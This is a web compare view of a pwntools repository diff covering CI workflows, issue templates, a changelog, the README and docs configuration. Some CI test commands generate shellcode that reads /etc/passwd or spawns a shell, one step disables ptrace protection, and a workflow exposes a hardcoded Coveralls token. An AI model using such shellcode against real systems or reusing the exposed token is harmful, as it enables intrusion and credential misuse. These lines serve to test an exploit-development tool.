Compare commits

..
1 Commits
Author SHA1 Message Date
Zach Riggle 74f475170d Bump version to 3.12.2 2019-01-07 15:21:39 -06:00
725 changed files with 4708 additions and 10772 deletions

No files matched your search

+1 -4
View File
@@ -1,11 +1,8 @@
[run]
branch = True
parallel = True
concurrency = thread,multiprocessing
omit =
*/constants/*
source =
pwn
pwnlib
~/.pwntools-cache-2.7/
~/.pwntools-cache-3.8/
~/.pwntools-cache/
-54
View File
@@ -1,54 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: backport-required, bug
assignees: ''
---
Thanks for contributing to Pwntools!
## Update Pwntools First
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
## Debug Output
Having the extra debug output really helps us, and might help you diagnose the problem yourself.
When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
```sh
$ python exploit.py DEBUG LOG_FILE=log.txt
```
You should see `[DEBUG]` statements that show what's happening behind the scenes:
```
[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Sent 0x5 bytes:
'exit\n'
[+] Receiving all data: Done (11B)
[DEBUG] Received 0xb bytes:
'crashheap\n'
[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
```
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04. We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
$ docker pull pwntools/pwntools:stable
# Boot the image
$ docker run -it pwntools/pwntools:stable
pwntools@7dc3ef409476:~$ python
>>> from pwn import *
>>> # Test your code here
```
-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature
assignees: ''
---
Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody.
If you've got an idea for a new feature, please provide information about:
* What the feature does
* Why the feature should exit
* What tests should be included
If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
-18
View File
@@ -1,18 +0,0 @@
---
name: Question
about: Ask us a question about Pwntools
title: ''
labels: question
assignees: ''
---
Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you.
## Check the Documentation
Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com
## Debug Output
If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
-5
View File
@@ -25,8 +25,3 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
-29
View File
@@ -1,29 +0,0 @@
name: Changelog
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
build:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
echo 'Changelog updated :D'
else
if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
echo 'Major changes detected, changelog required!'
false
else
echo 'Minor changes detected, no changelog required!'
fi
fi
-221
View File
@@ -1,221 +0,0 @@
name: Continuous Integration
on: [push, pull_request]
jobs:
test:
strategy:
matrix:
python-version: [2.7, 3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Git History 2
run: git log --oneline --graph -10
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Detect whether java is needed
id: java-needed
env:
GITHUB_REF: ${{ github.event.ref }}
GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
run: |
if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
echo "Found release or important branch ($GITHUB_REF), forcing tests."
elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
echo 'Incorrect commit range, forcing android tests.'
elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
echo 'Found Android-related commits, forcing tests.'
else
# clear files that cause Android doctests
: > docs/source/adb.rst > docs/source/protocols/adb.rst
exit 0
fi
echo ::set-output name=need::openjdk-8-jre-headless
- name: Install Linux dependencies
env:
ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
ash bash-static dash ksh mksh zsh \
pandoc gdb gdbserver socat sshpass \
binutils-multiarch qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-powerpc-linux-gnu \
gcc-multilib \
libc6-dbg \
$ANDROID_JRE
- name: Install android avd
if: steps.java-needed.outputs.need
run: |
USER=travis source travis/install.sh
set | egrep '^(ANDROID|PATH)' >.android.env
- name: Set up SSH
run: |
travis/ssh_setup.sh
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade flake8 appdirs
python setup.py egg_info
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Disable broken tests
run: |
rm -f docs/source/elf/corefile.rst
- name: Manually install non-broken Unicorn
run: pip install unicorn==1.0.2rc3
- name: Coverage doctests
run: |
source .android.env || :
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
- name: Coverage running examples
run: |
export TERM=linux
set -x
python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
coverage run examples/asm.py
coverage run examples/asm.py
coverage run examples/text.py
# for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex abcd
pwn unhex 4141 4141
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep -e O_RDWR
- name: Build source and wheel distributions
run: |
python setup.py sdist
python setup.py bdist_wheel --universal
- uses: actions/upload-artifact@v2
with:
name: packages
path: dist/
- name: Upload coverage to coveralls.io
run: |
coverage combine
COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
staging-merge:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 20
- name: Push changes to protected branch
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
BRANCH=${GITHUB_REF#refs/heads/}
TARGET=${BRANCH%-staging}
git branch -f "$TARGET"
git push origin "$TARGET"
pypi:
runs-on: ubuntu-latest
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v2
with:
name: packages
path: dist
- name: Publish package
uses: pypa/[email protected]
with:
user: __token__
password: ${{ secrets.pypi_password }}
- if: failure()
run: ls -R
-33
View File
@@ -1,33 +0,0 @@
name: Lint
on: [push, pull_request]
jobs:
lint:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
-28
View File
@@ -1,28 +0,0 @@
name: Check for merge markers
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
mergecheck:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check for merge conflict markers commited
run: |
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
echo 'WARNING: Merge marker commits found in history.'
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
echo 'ERROR: Merge markers still present! Do something!'
exit 1
fi
else
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
fi
+1 -3
View File
@@ -11,9 +11,7 @@ docs/build
build
MANIFEST
dist
venv
.vscode
*.egg-info
*.core
.coverage
.coverage.*
.tox
+10 -27
View File
@@ -1,7 +1,9 @@
dist: trusty
language: python
addons:
apt:
packages:
- gcc-multilib
- lib32stdc++6
- ash
- bash
@@ -11,28 +13,15 @@ addons:
- zsh
- pandoc
- gdb
- socat
- sshpass
- binutils
- qemu-user-static
- binutils-multiarch
- binutils-aarch64-linux-gnu
- binutils-arm-linux-gnueabihf
- binutils-mips-linux-gnu
- binutils-powerpc-linux-gnu
- bash-static
cache:
- pip
- directories:
- usr
- /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
- /home/travis/virtualenv/python2.7.15/bin/
- /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
- /home/travis/virtualenv/python3.8.*/bin/
- docs/build/doctest/.doctrees
- /home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/
- /home/travis/virtualenv/python2.7.13/bin/
sudo: required
python:
- "2.7"
- "3.8"
before_install:
- echo $-
- source travis/install.sh
@@ -40,22 +29,16 @@ before_install:
- echo $-
install:
- pip install --upgrade pip
- pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
- python setup.py egg_info # pypa/pip#6275
- pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
- pip install --upgrade --editable .
- pip install --upgrade --requirement docs/requirements.txt
before_script:
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
- PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
- coverage combine
after_success:
- coveralls
- source travis/update_demo.sh
+8 -191
View File
@@ -9,22 +9,9 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [4.4.0](#440) | `dev` | Sep 1, 2020 (planned)
| [4.3.0](#430) | `beta` | Aug 1, 2020 (planned)
| [4.2.0](#420) | `stable` | Jul 3, 2020 (planned)
| [4.1.7](#417) | | Jun 30, 2020
| [4.1.5](#415) | | Jun 27, 2020
| [4.1.4](#414) | | Jun 26, 2020
| [4.1.3](#413) | | Jun 23, 2020
| [4.1.2](#412) | | Jun 5, 2020
| [4.1.1](#411) | | Jun 3, 2020
| [4.1.0](#410) | | May 8, 2020
| [4.0.1](#401) | | Jan 22, 2020
| [4.0.0](#400) | | Jan 09, 2020
| [3.13.0](#3130) | | Nov 5, 2019
| [3.12.2](#3122) | | Jan 8, 2019
| [3.12.1](#3121) | | Sept 17, 2018
| [3.12.0](#3120) | | Feb 22, 2018
| [3.14.0](#3130) | `dev` | Jun 12, 2018 (planned)
| [3.13.0](#3130) | `beta` | Mar 31, 2018 (planned)
| [3.12.0](#3120) | `stable` | Feb 22, 2018
| [3.11.0](#3110) | | Jan 3, 2018
| [3.10.0](#3100) | | Oct 25, 2017
| [3.9.2](#392) | | Oct 5, 2017
@@ -55,195 +42,27 @@ The table below shows which release corresponds to each branch, and what date th
| [3.0.0](#300) | | Aug 20, 2016
| [2.2.0](#220) | | Jan 5, 2015
## 4.4.0 (`dev`)
## 3.14.0
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
## 4.3.0 (`beta`)
- [#1576][1576] Add `executable=` argument to `ELF.search`
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
- [#1592][1592] Fix over-verbose logging of process() environment
- [#1593][1593] Colorize output of `pwn template`
- [#1601][1601] Add `pwn version` command line tool
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
- [#1613][1613] Permit `--password` for `pwn template`
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
- [#1621][1621] Permit negative values in flat() and fit()
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
## 4.2.1 (`stable`)
- [#1625][1625] GDB now properly loads executables with QEMU
- [#1663][1663] Change lookup algorithm of `adb.which`
- [#1699][1699] Fix broken linux shellcraft templates
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
## 4.2.0
- [#1436][1436] Add ret2dlresolve automation
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
- [#1454][1454] Support for windows console colors
[1436]: https://github.com/Gallopsled/pwntools/pull/1436
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.7 (`stable`)
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.5
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
## 4.1.4
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
## 4.1.3
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
- Also fix `run_in_new_terminal` for Py2 unicode strings
- [#1595][1595] Fix ssh.process(timeout=)
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
## 4.1.2
- Pwntools requires `six` v.1.12.0 or higher
## 4.1.1
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
- Fix wrong ELF/context unpack handling (c4c11a37)
- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
- Update Corefile warnings and replace asserts with normal checks (#1526)
- several py2-py3 issues (#1451)
- Fix cyclic command
## 4.1.0
- [#1316][1316] Fix connect shellcraft in python 3
- [#1323][1323] Fix issues related with debugging
- [#1001][1001] Enhance `unlock_bootloader` with better status messages
- [#1389][1389] remove old dependencies
- [#1241][1241] Launch QEMU with sysroot if specified
- [#1218][1218] Support for FileStructure exploitation
[1316]: https://github.com/Gallopsled/pwntools/pull/1316
[1323]: https://github.com/Gallopsled/pwntools/pull/1323
[1001]: https://github.com/Gallopsled/pwntools/pull/1001
[1389]: https://github.com/Gallopsled/pwntools/pull/1389
[1241]: https://github.com/Gallopsled/pwntools/pull/1241
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
## 4.0.1
- [#1412][1412] `recvline_pred()` and similar do not reorder data
- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
[1412]: https://github.com/Gallopsled/pwntools/pull/1412
## 4.0.0
- **Python 3 support! <3**
- [#1402][1402] Fix serialtube in python 3
- [#1391][1391] Fix process.libs
- [#1317][1317] Tubes with `context.encoding`
- [#1216][1216] Improve format string generator
- [#1285][1285] Add freebsd generic syscall templates
- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
- [#1202][1202] Docker: Kill 14 layers in pwntools base images
- [#1182][1182] shellcraft.dupio() for mips
[1402]: https://github.com/Gallopsled/pwntools/pull/1402
[1391]: https://github.com/Gallopsled/pwntools/pull/1391
[1317]: https://github.com/Gallopsled/pwntools/pull/1317
[1285]: https://github.com/Gallopsled/pwntools/pull/1285
[1216]: https://github.com/Gallopsled/pwntools/pull/1216
[1202]: https://github.com/Gallopsled/pwntools/pull/1202
[1182]: https://github.com/Gallopsled/pwntools/pull/1182
[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
To be released on Jun 12, 2018.
## 3.13.0
- [#1204][1204] Reduce ROP cache filename length
- [#1175][1175] Fix nested SSH connectors
- [#1355][1355] Fix 'break' syscall
- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
- [#1292][1292] Provide correct arch name to gdb for sparc64
To be released on Mar 31, 2018.
[1175]: https://github.com/Gallopsled/pwntools/pull/1175
[1204]: https://github.com/Gallopsled/pwntools/pull/1204
[1277]: https://github.com/Gallopsled/pwntools/pull/1277
[1292]: https://github.com/Gallopsled/pwntools/pull/1292
[1355]: https://github.com/Gallopsled/pwntools/pull/1355
## 3.12.2
- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
[1242]: https://github.com/Gallopsled/pwntools/pull/1242
[1243]: https://github.com/Gallopsled/pwntools/pull/1243
## 3.12.1
- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
- [#1191][1191] Fix compatibility with pyelftools==0.25
- [#1159][1159] Fix check for `/proc/.../status`
- [#1162][1162] Fix broken package versions
- [#1150][1150] Fix exception raised when a cache file is missing
- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
- [#1155][1155] Use Ubuntu Trusty for all CI builds
- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
- [#1125][1125] Fix a typo
- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
- [5fdc08][5fdc08] Work around broken `pidof` on Android
- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
- [#1094][1094] Make hexdump output alignment more consistent
- [#1096][1096] `flat()` and `fit()` are now the same function
- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
[1198]: https://github.com/Gallopsled/pwntools/pull/1198
[1191]: https://github.com/Gallopsled/pwntools/pull/1191
[1159]: https://github.com/Gallopsled/pwntools/pull/1159
[1162]: https://github.com/Gallopsled/pwntools/pull/1162
[1150]: https://github.com/Gallopsled/pwntools/pull/1150
[1156]: https://github.com/Gallopsled/pwntools/pull/1156
[1152]: https://github.com/Gallopsled/pwntools/pull/1152
[1155]: https://github.com/Gallopsled/pwntools/pull/1155
[1131]: https://github.com/Gallopsled/pwntools/pull/1131
[1125]: https://github.com/Gallopsled/pwntools/pull/1125
[1121]: https://github.com/Gallopsled/pwntools/pull/1121
[1104]: https://github.com/Gallopsled/pwntools/pull/1104
[1101]: https://github.com/Gallopsled/pwntools/pull/1101
[1094]: https://github.com/Gallopsled/pwntools/pull/1094
[1096]: https://github.com/Gallopsled/pwntools/pull/1096
[1068]: https://github.com/Gallopsled/pwntools/pull/1068
[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
@@ -253,7 +72,6 @@ The table below shows which release corresponds to each branch, and what date th
- [#1085][1085] Add support for extracting Android `BOOTLDR!` images
- [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
- [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
- [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
- [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected. (This feature is really cool, check out the pull request!)
@@ -261,7 +79,6 @@ The table below shows which release corresponds to each branch, and what date th
[1085]: https://github.com/Gallopsled/pwntools/pull/1085
[1075]: https://github.com/Gallopsled/pwntools/pull/1075
[1074]: https://github.com/Gallopsled/pwntools/pull/1074
[1068]: https://github.com/Gallopsled/pwntools/pull/1068
[1067]: https://github.com/Gallopsled/pwntools/pull/1067
[1063]: https://github.com/Gallopsled/pwntools/pull/1063
+5 -5
View File
@@ -2,7 +2,7 @@
![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![PyPI](https://img.shields.io/badge/pypi-v3.12.1-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
@@ -32,15 +32,15 @@ To get you started, we've provided some example solutions for past CTF challenge
# Installation
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, and 16.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python 2.7 is required.
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
+1 -1
View File
@@ -44,7 +44,7 @@ def main(args):
doc2dash.__main__.main.main( \
[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
"-f", "-I", "index.html"], "doc2dash", False)
except SystemExit as e:
except SystemExit,e:
pass
# Insert a link to the online version.
+11 -11
View File
@@ -1,17 +1,17 @@
capstone
coveralls
doc2dash
sphinxcontrib-napoleon
sphinxcontrib-autoprogram==0.1.4
isort
mako>=1.0.0
paramiko>=1.15.2
pip>=6.0.8
mako>=1.0.0
pyelftools>=0.2.3
pygments>=2.0
pypandoc
capstone
ropgadget>=5.3
pyserial>=2.7
requests>=2.5.1
ropgadget>=5.3
sphinx
pip>=6.0.8
tox>=1.8.1
pygments>=2.0
sphinx_rtd_theme
sphinxcontrib-napoleon
sphinxcontrib-autoprogram
doc2dash
coveralls
sphinx<1.8.0
+1 -1
View File
@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
importing :mod:`pwnlib` or any of the submodules should have any significant
side-effects (besides e.g. caching).
For the most part, you will also only get the bits you import. You for instance would
For the most part, you will also only get the bits you import. You for instance
not get access to :mod:`pwnlib.util.packing` simply by doing ``import
pwnlib.util``.
-1
View File
@@ -1,6 +1,5 @@
.. testsetup:: *
from pprint import pprint
from pwn import *
adb = pwnlib.adb
-1
View File
@@ -6,7 +6,6 @@
from pwnlib.asm import *
from pwnlib import shellcraft
from pwnlib.tubes.process import process
from pwnlib.util.fiddling import unhex
:mod:`pwnlib.asm` --- Assembler functions
+40 -49
View File
@@ -12,9 +12,6 @@
# serve to show the default.
import os
import doctest
import signal
import six
import subprocess
import sys
@@ -70,9 +67,9 @@ doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import pwnlib, logging
import pwnlib
pwnlib.context.context.reset_local()
pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
pwnlib.context.ContextType.defaults['randomize'] = False
pwnlib.util.fiddling.default_style = {}
pwnlib.term.text.when = 'never'
@@ -88,9 +85,6 @@ class stdout(object):
def __setattr__(self, name, value):
return setattr(sys.stdout, name, value)
pwnlib.context.ContextType.defaults['log_console'] = stdout()
github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
'''
autoclass_content = 'both'
@@ -317,13 +311,13 @@ texinfo_documents = [
branch = release
try:
git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
git_branch = subprocess.check_output('git describe --tags', shell = True)
except subprocess.CalledProcessError:
git_branch = '-'
try:
if '-' in git_branch:
branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
except subprocess.CalledProcessError:
pass
@@ -351,11 +345,11 @@ def linkcode_resolve(domain, info):
else:
filename = info['module'].replace('.', '/') + '.py'
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
try:
lines, first = inspect.getsourcelines(val)
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
except (IOError, TypeError):
filename += '#L%d-%d' % (first, first + len(lines) - 1)
except IOError:
pass
return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -378,49 +372,46 @@ if build_dash:
# -- Customization to Sphinx autodoc generation --------------------------------------------
import sphinx.ext.autodoc
from sphinx.util.inspect import safe_getmembers, safe_getattr
# Test hidden members (e.g. def _foo(...))
def dont_skip_any_doctests(app, what, name, obj, skip, options):
